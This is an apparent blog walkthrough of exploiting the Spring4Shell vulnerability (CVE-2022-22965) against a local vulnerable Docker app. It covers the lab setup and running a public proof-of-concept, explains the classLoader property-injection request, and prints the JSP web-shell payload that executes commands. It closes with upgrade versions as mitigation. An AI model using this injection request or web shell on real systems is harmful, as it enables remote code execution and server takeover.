April 2, 2022
Spring4Shell Exploit Walkthrough
Another RCE in a Popular Java Framework

By Alex Rodriguez
4 min read
Hello, 🌎 ! A couple months back, I wrote a blog showing the exploitation of the Log4Shell remote code execution (RCE) vulnerability found in the popular Apache Log4j logging framework, a Java-based logging framework. Well we are back at it again but this time I'll be providing a walkthrough showing the exploitation of a recently discovered RCE vulnerability in another popular Java-based framework called Spring. It is important to note that there were two (2) RCE vulnerabilities identified but I'll be focusing my attention on the Spring4Shell vulnerability which impacts Spring Core tagged with the following CVE: CVE-2022–22965. The impacted versions are:
Spring Framework
- 5.3.0 to 5.3.17
- 5.2.0 to 5.2.19
- Older, unsupported versions are also affected
What is Spring?
"The Spring Framework is an application framework and inversion of control container for the Java platform. The framework's core features can be used by any Java application, but there are extensions for building web applications on top of the Java EE (Enterprise Edition) platform. Although the framework does not impose any specific programming model, it has become popular in the Java community as an addition to the Enterprise JavaBeans (EJB) model. The Spring Framework is open source." — Wikipedia
Exploiting Spring4Shell
There were several GitHub repositories with proof-of-concept exploits for Spring4Shell but I chose reznok's repo because it came with a Dockerfile for a basic Spring-based Java application vulnerable to Spring4Shell.
Setup
Let's start by cloning the repository:
git clone https://github.com/reznok/Spring4Shell-POC spring4shell
cd spring4shellgit clone https://github.com/reznok/Spring4Shell-POC spring4shell
cd spring4shell
If you don't have Docker installed, install it with the following commands:
sudo apt install docker.io
sudo usermod -aG docker $USER
newgrp dockersudo apt install docker.io
sudo usermod -aG docker $USER
newgrp docker
With Docker installed, we can go ahead and build the image containing the vulnerable Spring-based Java application. But before we build the image, we have to make a small modification to the Dockerfile because the original Tomcat version in use has been patched for Spring4Shell which means if we tried using this Dockerfile, the exploit won't work:
Open up the Dockerfile and change the line:
FROM tomcat:9.0FROM tomcat:9.0to:
FROM lunasec/tomcat-9.0.59-jdk11FROM lunasec/tomcat-9.0.59-jdk11With our Dockerfile now pulling a vulnerable Tomcat version that hasn't been patched, we can go ahead and build our vulnerable image with the following command:
docker build -t spring4shell .docker build -t spring4shell .
Once that's finished, we can run a container based on the image we just built with the following command that exposes the container's internal port 8080, which is the port the Java application is listening on, to our local host port 80:
docker run -p 80:8080 spring4shelldocker run -p 80:8080 spring4shellIf the application ran successfully, your console window should look similar to this:
We can confirm the application is listening on port 80 by cURLing /helloworld/greeting which is the endpoint for the Spring-based application:
Exploitation
The Python PoC script is pretty straightforward, just as the exploit itself:
All we need to run to exploit this application is:
python3 exploit.py --url 'http://localhost/helloworld/greeting'python3 exploit.py --url 'http://localhost/helloworld/greeting'
With the malicious Java class properties injected into the application, we can browse to /shell.jsp and issue a command via the cmd query parameter:
Understanding the Exploit…
NOTE: I am no Java expert but the following explanation is my simplest interpretation of what this exploit is doing.
The Spring4Shell exploit takes advantage of a vulnerability in Spring that allows a threat actor to inject malicious values into dangerous properties of Java classes such as the class property via query parameters. For example, an attacker can make the following request:
curl 'http://localhost:8080/spring4shell?class.module.classLoader.resources.context.parent.pipeline.first.pattern=test'curl 'http://localhost:8080/spring4shell?class.module.classLoader.resources.context.parent.pipeline.first.pattern=test'which sets the log pattern to test .
Armed with this information, a threat actor can now created a malicious JSP file by manipulating the following properties:
class.module.classLoader.resources.context.parent.pipeline.first.pattern— sets the logging format pattern which can be used to perform code execution (this is where the actual payload resides)class.module.classLoader.resources.context.parent.pipeline.first.suffix— sets the log files extensions which we can set to.jspto contain Java-based codeclass.module.classLoader.resources.context.parent.pipeline.first.directory— sets the directory in which our malicious JSP file will resideclass.module.classLoader.resources.context.parent.pipeline.first.prefix— sets the name of the file we want to create. For example, the exploit we used set this property toshellclass.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat— this sets the date format for the log, which we leave empty.
Once these properties have been set, an attacker can make a request to the /shell.jsp file that was created which contains the following payload for executing commands via the cmd query parameter:
%{prefix}i java.io.InputStream in = %{c}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %{suffix}i%{prefix}i java.io.InputStream in = %{c}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %{suffix}iMitigation
Users of affected versions should apply the following mitigation: 5.3.x users should upgrade to 5.3.18+, 5.2.x users should upgrade to 5.2.20+. No other steps are necessary. Releases that have fixed this issue include:
Spring Framework
- 5.3.18+
- 5.2.20+
Hope this walkthrough was helpful. Happy Hacking!
EOF
If you enjoyed reading this article, please follow me on Medium, for more cybersecurity/tech-related articles, and on GitHub, for more cybersecurity programming projects. Thank you for your time!
bin3xish477 - Overview My name is ✨ Alexis Rodriguez ✨ and I am a Penetration Tester.